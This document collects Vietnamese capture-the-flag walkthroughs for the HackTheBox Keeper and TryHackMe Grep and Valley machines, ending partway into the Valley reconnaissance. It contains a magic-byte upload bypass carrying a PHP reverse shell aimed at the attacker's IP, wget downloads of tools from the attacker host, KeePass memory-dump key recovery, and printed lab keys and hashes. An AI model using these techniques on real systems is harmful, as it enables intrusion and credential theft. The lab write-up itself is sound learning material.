HackTheBox - Keeper

  1. Reconnaissance and Scanning
  2. SSH
  3. Privilege escalation

Reconnaissance and Scanning

Port scan, tôi dùng RustScan

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3539d439404b1f6186dd7c37bb4b989e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKHZRUyrg9VQfKeHHT6CZwCwu9YkJosNSLvDmPM9EC0iMgHj7URNWV3LjJ00gWvduIq7MfXOxzbfPAqvm2ahzTc=
|   256 1ae972be8bb105d5effedd80d8efc066 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBe5w35/5klFq1zo5vISwwbYSVy1Zzy+K9ZCt0px+goO
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| http-methods: 
|_  Supported Methods: GET HEAD
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Truy cập thử vào web với port 80

web

Tôi sẽ thêm hosts để truy cập domain này

ticket

Tôi có một vài thông tin về page này: best practical, RT 4.4.4+dfsg-2ubuntu1 (Debian). Tìm kiếm thông tin trên gu gồ và tôi có tài khoản mặc định ở đây Thử đăng nhập với tài khoản mặc định root:password

rt

Dạo quanh page này, tôi tìm thấy user khác ở Admin -> Users -> Select

lnorgaard

Thử đăng nhập ssh bằng user mới

SSH

┌──(rootkali)-[/home/kali]
└─# ssh lnorgaard@10.10.11.227 
The authenticity of host '10.10.11.227 (10.10.11.227)' can't be established.
ED25519 key fingerprint is SHA256:hczMXffNW5M3qOppqsTCzstpLKxrvdBjFYoJXJGpr7w.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.227' (ED25519) to the list of known hosts.
lnorgaard@10.10.11.227's password: 
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

You have mail.
Last login: Sun Oct 15 13:42:38 2023 from 10.10.14.61
lnorgaard@keeper:~$ id
uid=1000(lnorgaard) gid=1000(lnorgaard) groups=1000(lnorgaard)

Tôi có user.txt ở đây

Privilege escalation

Bên cạnh user.txt, tôi còn 1 file zip nữa RT30000.zip. Unzip nó và tôi được 2 file mới

lnorgaard@keeper:~$ unzip /home/lnorgaard/RT30000.zip 
Archive:  /home/lnorgaard/RT30000.zip
  inflating: KeePassDumpFull.dmp     
 extracting: passcodes.kdbx

Unzip được 2 file. Với file passcodes, khi tìm hiểu cách mở file này, tôi tìm được cách crack password từ file kdbx với john

┌──(rootkali)-[~kali/keepass-dump-masterkey]
└─# keepass2john passcodes.kdbx > passcodes.txt  
┌──(rootkali)-[/home/kali/keepass-dump-masterkey]
└─# john -w=/usr/share/wordlists/rockyou.txt.gz passcodes.txt 
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 60000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: UTF-16 BOM seen in wordlist. File may not be read properly unless you re-encode it
0g 0:00:12:40 DONE (2023-10-15 13:48) 0g/s 180.5p/s 180.5c/s 180.5C/s ����ʒ:!=*$�\3Tx#a�U�L:�-*��(>8�^Y..R��4�^o��R��)����-�lQ�{�v{AC������
Session completed. 

Không có kết quả.

Tìm kiếm về KeePass và dump, tôi tìm được CMEPW/keepass-dump-masterkey. Clone nó về và tải nó lên máy

┌──(rootkali)-[~kali]
└─# git clone https://github.com/CMEPW/keepass-dump-masterkey.git
Cloning into 'keepass-dump-masterkey'...
remote: Enumerating objects: 9, done.
remote: Counting objects: 100% (9/9), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 9 (delta 0), reused 6 (delta 0), pack-reused 0
Receiving objects: 100% (9/9), 32.52 KiB | 756.00 KiB/s, done.               
┌──(rootkali)-[~kali]
└─# cd keepass-dump-masterkey 
┌──(rootkali)-[~kali/keepass-dump-masterkey]
└─# python3 -m http.server 4444
Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/) ...

lnorgaard@keeper:~/RT30000$ wget http://10.10.14.130:4444/poc.py
--2023-10-15 19:20:25--  http://10.10.14.130:4444/poc.py
Connecting to 10.10.14.130:4444... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2735 (2.7K) [text/x-python]
Saving to: poc.py

poc.py                                                          100%[====================================================================================================================================================>]   2.67K  --.-KB/s    in 0.004s  

2023-10-15 19:20:25 (620 KB/s) - poc.py saved [2735/2735]

lnorgaard@keeper:~/RT30000$ python3 poc.py -d KeePassDumpFull.dmp
2023-10-15 19:42:03,381 [.] [main] Opened KeePassDumpFull.dmp
Possible password: ,dgrd med flde
Possible password: ldgrd med flde
Possible password: ●`dgrd med flde
Possible password: -dgrd med flde
Possible password: 'dgr●d med fl●de
Possible password: ●]dgr●d med fl●de
Possible password: ●Adgr●d med fl●de
Possible password: ●Idgr●d med fl●de
Possible password: ●:dgr●d med fl●de
Possible password: ●=dgr●d med fl●de
Possible password: ●_dgr●d med fl●de
Possible password: ●cdgr●d med fl●de
Possible password: ●Mdgr●d med fl●de

Tôi không hiểu lắm về các password này, tìm kiếm về các tool keepass trên kali tôi tìm được keepass2

┌──(rootkali)-[~kali/keepass-dump-masterkey]
└─# keepass2

keepass

password

Sau khi add file kdbx, tôi cần phải nhập password. Vậy thì tôi sẽ thử nhập từng password ở phần dump đã tìm được phía trên. Tuy nhiên thì không có cái nào được. Tôi thử sao chép cái password đó lên Gu gồ và được Gu gồ gợi ý sang 1 kết quả khác

ideas

ideas

Đoạn đầu tiên rất giống với password của tôi nên tôi sẽ thử nó

pass

Vẫn không được. Nhưng tôi thử viết thường tất cả thì được

key

Tôi có 1 PuTTY key ở đây. Lưu nó về dưới tên root.ppk và sử dụng puttygen để generate được private key của root.

┌──(rootkali)-[/home/kali]
└─# cat root.ppk 
PuTTY-User-Key-File-3: ssh-rsa
Encryption: none
Comment: rsa-key-20230519
Public-Lines: 6
AAAAB3NzaC1yc2EAAAADAQABAAABAQCnVqse/hMswGBRQsPsC/EwyxJvc8Wpul/D
8riCZV30ZbfEF09z0PNUn4DisesKB4x1KtqH0l8vPtRRiEzsBbn+mCpBLHBQ+81T
EHTc3ChyRYxk899PKSSqKDxUTZeFJ4FBAXqIxoJdpLHIMvh7ZyJNAy34lfcFC+LM
Cj/c6tQa2IaFfqcVJ+2bnR6UrUVRB4thmJca29JAq2p9BkdDGsiH8F8eanIBA1Tu
FVbUt2CenSUPDUAw7wIL56qC28w6q/qhm2LGOxXup6+LOjxGNNtA2zJ38P1FTfZQ
LxFVTWUKT8u8junnLk0kfnM4+bJ8g7MXLqbrtsgr5ywF6Ccxs0Et
Private-Lines: 14
AAABAQCB0dgBvETt8/UFNdG/X2hnXTPZKSzQxxkicDw6VR+1ye/t/dOS2yjbnr6j
oDni1wZdo7hTpJ5ZjdmzwxVCChNIc45cb3hXK3IYHe07psTuGgyYCSZWSGn8ZCih
kmyZTZOV9eq1D6P1uB6AXSKuwc03h97zOoyf6p+xgcYXwkp44/otK4ScF2hEputY
f7n24kvL0WlBQThsiLkKcz3/Cz7BdCkn+Lvf8iyA6VF0p14cFTM9Lsd7t/plLJzT
VkCew1DZuYnYOGQxHYW6WQ4V6rCwpsMSMLD450XJ4zfGLN8aw5KO1/TccbTgWivz
UXjcCAviPpmSXB19UG8JlTpgORyhAAAAgQD2kfhSA+/ASrc04ZIVagCge1Qq8iWs
OxG8eoCMW8DhhbvL6YKAfEvj3xeahXexlVwUOcDXO7Ti0QSV2sUw7E71cvl/ExGz
in6qyp3R4yAaV7PiMtLTgBkqs4AA3rcJZpJb01AZB8TBK91QIZGOswi3/uYrIZ1r
SsGN1FbK/meH9QAAAIEArbz8aWansqPtE+6Ye8Nq3G2R1PYhp5yXpxiE89L87NIV
09ygQ7Aec+C24TOykiwyPaOBlmMe+Nyaxss/gc7o9TnHNPFJ5iRyiXagT4E2WEEa
xHhv1PDdSrE8tB9V8ox1kxBrxAvYIZgceHRFrwPrF823PeNWLC2BNwEId0G76VkA
AACAVWJoksugJOovtA27Bamd7NRPvIa4dsMaQeXckVh19/TF8oZMDuJoiGyq6faD
AF9Z7Oehlo1Qt7oqGr8cVLbOT8aLqqbcax9nSKE67n7I5zrfoGynLzYkd3cETnGy
NNkjMjrocfmxfkvuJ7smEFMg7ZywW7CBWKGozgz67tKz9Is=
Private-MAC: b0a0fd2edf4f0e557200121aa673732c9e76750739db05adc3ab65ec34c55cb0
┌──(rootkali)-[/home/kali]
└─# puttygen root.ppk -O private-openssh -o root.pem

Login vào ssh

┌──(rootkali)-[/home/kali]
└─# ssh -i root.pem root@10.10.11.227
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

You have new mail.
Last login: Sun Oct 15 14:41:25 2023 from 10.10.14.61
root@keeper:~# id
uid=0(root) gid=0(root) groups=0(root)
root@keeper:~# ls /root
root.txt  RT30000.zip  SQL
root@keeper:~# 

Tryhackme - Grep

TryHackMe - Grep

Reconnaissance and Scanning

PORT      STATE SERVICE  REASON         VERSION
22/tcp    open  ssh      syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d6af37230fdfe14d17e3b89eaa6af4ba (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCrtm91fsPghgy6hHw1Y6us1n3WWXbx78a01ZR0xxfkgflDuBbvQeAuqhIoZ5MsB5YpPGCKDFTZ33KZeTCb89SVEidBoatBWJf3+Ys/iTaXJYrEZUNMwiJ8prll8u2MfAEB/3Up5jx4Qbt7BW5criwtzA+/LkvmOb2FKWQzM3l2Mg0QtkvtRbcw0H+MTvz2hRxTYqU//MdyxVh1nnvdPYdhtA7IQ8Lqg8Au0XGjeA58iktw/K3Ljn7wIePzixJclotHLJ5Jxdq6delmHKdOieoHT4MAK5tHA+AZRpZvLYiTWergXvNzHWqdTTssVsDQ8BeCDLs5RvvP36eDngaYZ1pxJ5GxZSlMEc5clmDOa0sb64nJq41MJCNDrpeuJrjcVe3g401mnZFSPUWqNIjLGH3VSWohbbAsi2YCrr+s3VldoNNWxIVrLXnhZg7HKVsQw2IJy8ufXTTLbC0cQHGuwNnbvmkSVS5nk0zdInPS6a4E22dd7hsJdksKEAEnq6LrgwM=
|   256 ea9b6eed77b35d2840c55d6dcc8a7e50 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKvPK6dn5A4GKUH0jYCw+leyMjc03SxV7TMFLz84QZSk6ueoqk1P++5Ly9rx8fCICzM5iT5oV6TmU4Rtr5Gw7Lo=
|   256 9cd769de85f6a430e5f56f16640614e0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG83nf9a5u2ZjV1opLrYvrMSvJGQKbR+mVrAp9ZDdlOn
80/tcp    open  http     syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
443/tcp   open  ssl/http syn-ack ttl 63 Apache httpd 2.4.41
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=grep.thm/organizationName=SearchME/stateOrProvinceName=Some-State/countryName=US
| Issuer: commonName=grep.thm/organizationName=SearchME/stateOrProvinceName=Some-State/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-06-14T13:03:09
| Not valid after:  2024-06-13T13:03:09
| MD5:   72958ef07c16221c3b0a40ee913c766c
| SHA-1: 38c23ba334b1851af1d4ee0a37bd701a830c7dd8
| -----BEGIN CERTIFICATE-----
| MIIDFzCCAf8CFGTWwbbVKaNSN8fhUdtf0QT84zCSMA0GCSqGSIb3DQEBCwUAMEgx
| CzAJBgNVBAYTAlVTMRMwEQYDVQQIDApTb21lLVN0YXRlMREwDwYDVQQKDAhTZWFy
| Y2hNRTERMA8GA1UEAwwIZ3JlcC50aG0wHhcNMjMwNjE0MTMwMzA5WhcNMjQwNjEz
| MTMwMzA5WjBIMQswCQYDVQQGEwJVUzETMBEGA1UECAwKU29tZS1TdGF0ZTERMA8G
| A1UECgwIU2VhcmNoTUUxETAPBgNVBAMMCGdyZXAudGhtMIIBIjANBgkqhkiG9w0B
| AQEFAAOCAQ8AMIIBCgKCAQEAtiDNwwY9IR2HADMy6CRAwiPH0s8dIOFGPrbYCbLz
| fDKIWURlczzOlmgpscN/YHHpt6P5ywUPLGnMK3ukYag7xTUYl+vmledTnD9oebnJ
| 6qDweFFwdZ8hysITyvCyGgqcY52JE2nBtVNj6/L16iZ60KKko8opNsTE5IYj/sUt
| PsOxeNiV3oqpOUeKtZJbn7Kssd4KBwnRqTSUlXlPXzeRipAiW5SZZXo6K4YeLVht
| XlLPtPWsMC0fj16DDDtxLlZmvu3J5o9egp/eRpWmvKWIaKQ57Y0MKB8/gso8FxxX
| NiRY9Nru0C3DCUbc/xXywQ9pIGt/Xir++aXhyxCiIGh22QIDAQABMA0GCSqGSIb3
| DQEBCwUAA4IBAQCzhJu52dIY7V/qQleDMEQ1oBLrQoFhHD6+UbvH0ELMAtL5Dc8A
| LGDdyFkgsx04TaZtJ20dyrjYD+tcAgu9Yb7eEYbfqqD5w4XSzvdEuTW2aVL86aT6
| IBbN8SMkX2zfILjHTOR1F7WAoHaIssH0yZltg+lQEEnAeb+XoIZm9cIW2bTNKoO2
| MeHgvSKkQkjROO29XQQ3mTbxFG86UsTwyGHdddnkfiWilXqgfh+wGxbY/wCdhU0C
| TnuXn4IEVdCBn16rCg51kEZZC1EWPcJpv0/InUNfcgumcVY033EXF/HgW4eNDD6H
| XmLEGKfScUWcO0//STDZGZXwf9gt30DqoMSf
|_-----END CERTIFICATE-----
|_http-server-header: Apache/2.4.41 (Ubuntu)
| tls-alpn: 
|_  http/1.1
|_http-title: 403 Forbidden
51337/tcp open  http     syn-ack ttl 63 Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-title: 400 Bad Request
Service Info: Host: ip-10-10-133-64.eu-west-1.compute.internal; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Tôi để ý thấy có grep.thm, vậy nên tôi sẽ thử thêm domain vào file hosts

┌──(rootkali)-[/home/kali]
└─# nano /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
10.10.114.67    grep.thm        *.grep.thm
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters

Truy cập vào https://grep.thm, tôi được 1 site login

login

Ở đây có 1 site login và 1 site register. Tôi đã thử vài cách đơn giản để thử bypass qua nhưng không login được, với site register thì tôi cần phải có API key mới có thể đăng ký được tài khoản

errot

Sau một lúc tìm kiếm xung quanh mà không thấy có gì khả quan về API, tôi nghĩ đến việc thử tìm thông tin về SearchMe, có thể là tên của một theme hoặc cms nào đó.

Trên github tôi tìm thấy source supersecuredeveloper/searchmecms: In progress… mới được tạo 4 tháng trước, khá trùng với thời điểm máy này được tạo trên Tryhackme, nó cũng có phần api như tôi đang tìm kiếm

Có 4 commits, và sau khi kiểm tra các commit này tôi tìm thấy api key

github

Sử dụng api key để đăng ký tài khoản

burp

Đăng nhập với tài khoản vừa tạo tôi được flag đầu tiên

RCE

Tiếp tục với source code tìm được trên github, tôi còn một phần nữa là upload.php. Tìm nó trên web

upload

Tập trung vào đoạn này trong source

$allowedExtensions = ['jpg', 'jpeg', 'png', 'bmp'];
$validMagicBytes = [
    'jpg' => 'ffd8ffe0', 
    'png' => '89504e47', 
    'bmp' => '424d'
];

Chỉ có các đuôi file phía trên mới được phép upload, và đầu file cũng phải giống với các chuỗi được quy định.

Đầu tiên tôi sẽ đổi tên file thành đuôi png và dùng hexeditor để đổi các giá trị đầu của file

┌──(rootkali)-[/home/kali]
└─# mv phpshell.php phpshell.webp.php
┌──(rootkali)-[/home/kali]
└─# hexeditor phpshell.webp.php
File: phpshell.php.webp                    ASCII Offset: 0x00000004 / 0x00000A18 (%00)  M
00000000  89 50 4E 47  70 0A 2F 2F   20 70 68 70  2D 72 65 76

Tải file lên

{"message":"File uploaded successfully."}

Tuy nhiên tôi gặp lỗi khi mở file the image cannot be displayed because it contains errors. Sau một lúc tìm hiểu thì tôi nhận ra mình cần phải thay đổi các file shell nữa.

Shell của tôi sau khi đổi đuôi và các giá trị đầu

PNGp
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.9.102.40';
$port = 9001;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;

Nó đã mất định dạng php. Tôi cần thêm vài ký tự đầu trước <?php nếu không muốn mất định dạng thật của file

....<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.9.102.40';
$port = 9001;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;

Sau khi thay đổi các giá trị đầu của file nó sẽ trở thành như sau

PNG<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubuserc>
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.9.102.40';
$port = 9001;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;

Upload lại và tạo listener port 9001

Vào https://grep.thm/api/uploads/ để mở file vừa upload

┌──(rootkali)-[/home/kali]
└─# nc -lnvp 9001            
listening on [any] 9001 ...
connect to [10.9.102.40] from (UNKNOWN) [10.10.221.7] 60196
Linux ip-10-10-221-7 5.15.0-1038-aws #43~20.04.1-Ubuntu SMP Fri Jun 2 17:10:57 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
 03:10:28 up 55 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$

Để đỡ mất thời gian thì tôi sẽ tải linPEAS lên máy này để nó phân tích

www-data@ip-10-10-221-7:/$ cd /tmp
www-data@ip-10-10-221-7:/tmp$ wget http://10.9.102.40:8888/linpeas.sh
--2023-09-05 03:21:42--  http://10.9.102.40:8888/linpeas.sh
Connecting to 10.9.102.40:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 848400 (829K) [text/x-sh]
Saving to: linpeas.sh

linpeas.sh          100%[===================>] 828.52K   502KB/s    in 1.7s    

2023-09-05 03:21:44 (502 KB/s) - linpeas.sh saved [848400/848400]

www-data@ip-10-10-221-7:/tmp$ chmod +x linpeas.sh 
www-data@ip-10-10-221-7:/tmp$ ./linpeas.sh 

Đầu tiên, tôi có một subdomain mới là leakchecker.grep.thm với port 51337

<VirtualHost *:51337>
        ServerAdmin webmaster@leakchecker.grep.thm
        ServerName leakchecker.grep.thm
        DocumentRoot /var/www/leakchecker
        <IfModule mpm_itk_module>
                AssignUserId ubuntu ubuntu
        </IfModule>
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
        SSLEngine on
        SSLCertificateFile /var/www/leak_certificate.crt
        SSLCertificateKeyFile /var/www/private_unencrypted.key
</VirtualHost>

Tiếp theo, tôi có một file config db của php

╔══════════╣ Readable files belonging to root and readable by me but not world readable
-rw-r----- 1 root www-data 524 Nov 11  2021 /etc/phpmyadmin/config-db.php  

Cuối cùng, tôi có một thư mục backup trong web

╔══════════╣ Web files?(output limit)
/var/www/:                                                                                                                                                           
total 48K
drwxr-xr-x  6 ubuntu www-data 4.0K Jun 14 12:57 .
drwxr-xr-x 14 root   root     4.0K Nov 10  2021 ..
drwxr-xr-x  2 ubuntu www-data 4.0K Jun 14 11:25 backup
-rw-r--r--  1 root   root     1.2K Jun 14 13:03 certificate.crt
-rw-r--r--  1 root   root      960 Jun  2 14:47 certificate.csr
drwxr-xr-x  2 ubuntu www-data 4.0K Jun 14 11:44 default_html
drwxr-xr-x  4 ubuntu www-data 4.0K Jun  7 12:14 html
-rw-r--r--  1 root   root     1.2K Jun 14 12:58 leak_certificate.crt

Thêm subdomain vào file hosts

127.0.0.1       localhost
127.0.1.1       kali
10.10.114.67    grep.thm        leakchecker.grep.thm
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters

mail_check

Site yêu cầu email, tuy nhiên nhập thử mail tôi vừa đăng ở tài khoản phía trên thì không được.

Tiếp theo là file config db

www-data@ip-10-10-221-7:/tmp$ cat /etc/phpmyadmin/config-db.php
<?php
##
## database access settings in php format
## automatically generated from /etc/dbconfig-common/phpmyadmin.conf
## by /usr/sbin/dbconfig-generate-include
##
## by default this file is managed via ucf, so you shouldn't have to
## worry about manual changes being silently discarded.  *however*,
## you'll probably also want to edit the configuration file mentioned
## above too.
##
$dbuser='phpmyadmin';
$dbpass='tryhackme';
$basepath='';
$dbname='phpmyadmin';
$dbserver='localhost';
$dbport='3306';
$dbtype='mysql';

Thư mục backup

www-data@ip-10-10-221-7:/tmp$ ls -la /var/www/backup/
total 12
drwxr-xr-x 2 ubuntu www-data 4096 Jun 14 11:25 .
drwxr-xr-x 6 ubuntu www-data 4096 Jun 14 12:57 ..
-rw-rw-r-- 1 ubuntu ubuntu   1888 Jun 14 11:25 users.sql
www-data@ip-10-10-221-7:/tmp$ cat /var/www/backup/users.sql 
-- phpMyAdmin SQL Dump
-- version 5.2.1
-- https://www.phpmyadmin.net/
--
-- Host: 127.0.0.1
-- Generation Time: May 30, 2023 at 01:25 PM
-- Server version: 10.4.28-MariaDB
-- PHP Version: 8.0.28

SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
START TRANSACTION;
SET time_zone = "+00:00";


/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;

--
-- Database: `postman`
--

-- --------------------------------------------------------

--
-- Table structure for table `users`
--

CREATE TABLE `users` (
  `id` int(11) NOT NULL,
  `username` varchar(50) NOT NULL,
  `password` varchar(255) NOT NULL,
  `email` varchar(100) NOT NULL,
  `name` varchar(100) DEFAULT NULL,
  `role` varchar(20) DEFAULT 'user'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;

--
-- Dumping data for table `users`
--

INSERT INTO `users` (`id`, `username`, `password`, `email`, `name`, `role`) VALUES
(1, 'test', '$2y$10$dE6VAdZJCN4repNAFdsO2ePDr3StRdOhUJ1O/41XVQg91qBEBQU3G', 'test@grep.thm', 'Test User', 'user'),
(2, 'admin', '$2y$10$3V62f66VxzdTzqXF4WHJI.Mpgcaj3WxwYsh7YDPyv1xIPss4qCT9C', 'admin@searchme2023cms.grep.thm', 'Admin User', 'admin');

--
-- Indexes for dumped tables
--

--
-- Indexes for table `users`
--
ALTER TABLE `users`
  ADD PRIMARY KEY (`id`),
  ADD UNIQUE KEY `username` (`username`),
  ADD UNIQUE KEY `email` (`email`);

--
-- AUTO_INCREMENT for dumped tables
--

--
-- AUTO_INCREMENT for table `users`
--
ALTER TABLE `users`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3;
COMMIT;

/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
www-data@ip-10-10-221-7:/tmp$ 

Email của user admin là admin@searchme2023cms.grep.thm và password admin. Thử nhập email này vào leakchecker

pass

Tryhackme - Valley

  1. Reconnaissance and Scanning
  2. SSH
  3. Privilege escalation

TryHackMe - Valley

Reconnaissance and Scanning

Quét nhẹ cái port

PORT      STATE SERVICE REASON         VERSION
22/tcp    open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c2:84:2a:c1:22:5a:10:f1:66:16:dd:a0:f6:04:62:95 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCf7Zvn7fOyAWUwEI2aH/k8AyPehxzzuNC1v4AAlhDa4Off4085gRIH/EXpjOoZSBvo8magsCH32JaKMMc59FSK4canP2I0VrXwkEX0F8PjA1TV4qgqXJI0zNVwFrfBORDdlCPNYiqRNFp1vaxTqLOFuHt5r34134yRwczxTsD4Uf9Z6c7Yzr0GV6NL3baGHDeSZ/msTiFKFzLTTKbFkbU4SQYc7jIWjl0ylQ6qtWivBiavEWTwkHHKWGg9WEdFpU2zjeYTrDNnaEfouD67dXznI+FiiTiFf4KC9/1C+msppC0o77nxTGI0352wtBV9KjTU/Aja+zSTMDxoGVvo/BabczvRCTwhXxzVpWNe3YTGeoNESyUGLKA6kUBfFNICrJD2JR7pXYKuZVwpJUUCpy5n6MetnonUo0SoMg/fzqMWw2nCZOpKzVo9OdD8R/ZTnX/iQKGNNvgD7RkbxxFK5OA9TlvfvuRUQQaQP7+UctsaqG2F9gUfWorSdizFwfdKvRU=
|   256 42:9e:2f:f6:3e:5a:db:51:99:62:71:c4:8c:22:3e:bb (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNIiJc4hdfcu/HtdZN1fyz/hU1SgSas1Lk/ncNc9UkfSDG2SQziJ/5SEj1AQhK0T4NdVeaMSDEunQnrmD1tJ9hg=
|   256 2e:a0:a5:6c:d9:83:e0:01:6c:b9:8a:60:9b:63:86:72 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEZhkboYdSkdR3n1G4sQtN4uO3hy89JxYkizKi6Sd/Ky
80/tcp    open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-title: Site doesn't have a title (text/html).
37370/tcp open  ftp     syn-ack ttl 63 vsftpd 3.0.3
Service Info: OSs: Linux, Unix; CPE: cpe:/o:linux:linux_kernel

Kiểm tra qua port 37370 ftp với user mặc định nhưng không thu được kết quả gì, tôi chuyển qua port 80 với web service

Sau khi lướt qua 1 vòng trang web và không thấy có gì nổi bật, đơn thuần chỉ là 1 trang web html, tôi thử tìm các directory bằng gobuster

┌──(rootkali)-[/home/kali]
└─# gobuster dir -u http://10.10.35.151/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -t 100
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.35.151/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/07/23 03:07:33 Starting gobuster in directory enumeration mode
===============================================================
/gallery              (Status: 301) [Size: 314] [--> http://10.10.35.151/gallery/]
/static               (Status: 301) [Size: 313] [--> http://10.10.35.151/static/]
/pricing              (Status: 301) [Size: 314] [--> http://10.10.35.151/pricing/]
Progress: 87623 / 87665 (99.95%)
===============================================================
2023/07/23 03:11:09 Finished
===============================================================

Với gallery thì đây là nơi show ảnh, static là nơi chứa các ảnh. Với pricing, trong này chứa 1 file note.txt

J,
Please stop leaving notes randomly on the website
-RP

Điều này có nghĩa là trang web vẫn còn gì đó ở ngay front-end mà tôi chưa tìm ra.

Quay trở lại gallery, source web cho tôi thông tin về phần ảnh.

<html>
<head>
<style>
div.gallery {
  margin: 5px;
  border: 1px solid #ccc;
  float: left;
  width: 500px;
}

div.gallery:hover {
  border: 1px solid #777;
}

